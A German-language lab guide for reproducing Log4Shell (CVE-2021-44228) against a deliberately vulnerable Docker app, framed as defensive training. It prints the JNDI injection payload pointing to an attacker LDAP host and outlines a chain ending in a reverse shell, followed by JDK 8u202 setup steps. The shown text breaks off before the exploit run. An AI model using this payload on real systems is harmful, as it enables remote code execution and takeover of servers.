Praktisches Labor zum Ausnutzen und Verstehen von Log4Shell (CVE-2021-44228) mit Docker, Kali Linux, Burp Suite und log4j-shell-poc. Nur für Lehr- und Verteidigungstraining in kontrollierten Laborumgebungen.
Log4Shell (CVE-2021-44228) ist eine der folgenreichsten Schwachstellen zur Remote-Code-Ausführung, die je offengelegt wurde. Sie betrifft Apache Log4j 2, ein weit verbreitetes Java-Logging-Framework, und ermöglicht Angreifern die Ausführung beliebigen Codes durch Missbrauch von JNDI-Lookups in Logmeldungen.
Dieser Leitfaden bietet ein vollständiges, reproduzierbares Demonstrationslabor unter Verwendung von:
log4j-shell-pocEs ist ausschließlich für Lehre, Forschung, Schulung und defensive Sensibilisierung in kontrollierten Umgebungen konzipiert. Struktur und Stil folgen dem gleichen Geist wie die begleitende README des „Shellshock“-Labors.
poc.py zur Verwendung von JDK 1.8.0_202curlDieses Labor darf nur in einer kontrollierten Umgebung durchgeführt werden, in der Sie eine ausdrückliche Genehmigung haben (eigenes Labor, Unterrichts-VMs usw.).
Log4Shell (CVE-2021-44228) ist eine kritische RCE-Schwachstelle in Apache Log4j 2.
Das Problem entsteht, weil verwundbare Log4j2-Versionen vom Angreifer kontrollierte Zeichenketten wie:
${jndi:ldap://ANGREIFER_IP:1389/a}
interpretieren.
Wenn diese Zeichenkette protokolliert wird, führt Log4j Folgendes aus:
In diesem Labor werden Sie:
log4j-shell-poc betreiben.curl und via Burp Suite ausliefern.Am Ende dieses Labors sollten Sie in der Lage sein:
Alle Komponenten laufen auf Ihrem vorhandenen virtuellen Labor. Für diese Beschreibung nehmen wir an:
| Komponente | Rolle / Beschreibung | Tools / Dienste | Beispieladressierung |
|---|---|---|---|
| Kali Linux VM (Angreifer + Host) | Führt PoC-Exploit, LDAP-Server, HTTP-Server, Netcat-Listener, Burp Suite aus | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (Beispiel-Kali-IP) |
| Verwundbare Log4j2-Webanwendung | Ziel; Spring Boot Web-App, verwundbar gegenüber Log4Shell | Docker-Image: ghcr.io/christophetd/log4shell-vulnerable-app | Freigegeben unter http://127.0.0.1:8080 |
Schlüsselidee
Der Angreifer injiziert:
${jndi:ldap://192.168.1.4:1389/a}
in einen HTTP-Header. Die verwundbare App protokolliert ihn mit Log4j2 → führt eine JNDI-LDAP-Suche zu 192.168.1.4:1389 durch → lädt eine bösartige Klasse von http://192.168.1.4:8000 herunter → führt die Klasse aus, die eine Reverse Shell zurück zu 192.168.1.4:9001 öffnet.
Auf Kali benötigen Sie:
nc).In dieser Anleitung nehmen wir an, dass die Kali-IP lautet:
192.168.1.4
Wenn Ihre IP abweicht, passen Sie alle Befehle entsprechend an.
Das PoC ist auf Java SE 8 Update 202 (JDK 1.8.0_202) angewiesen, da neuere Java-Versionen das von diesem Exploit verwendete Remote-Klassenladeverhalten einschränken.
Auch wenn Kali bereits OpenJDK 21 (oder ähnlich) hat, müssen Sie 8u202 separat installieren.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Mirror-Stammverzeichnis:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Das Linux-x64-Tarball herunterladen (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # sollte ~185M sein
/usr/bin/jdk1.8.0_202 extrahierensudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
Die Option --strip-components=1 entfernt das oberste Verzeichnis aus dem Archiv, sodass die Dateien direkt unter /usr/bin/jdk1.8.0_202 landen.
/usr/bin/jdk1.8.0_202/bin/java -version
Erwartete Ausgabe:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Wenn Sie dies sehen, ist JDK 1.8.0_202 korrekt installiert.
Öffnen Sie ein neues Terminal auf Kali (Sie können in ~/Log4Shell bleiben):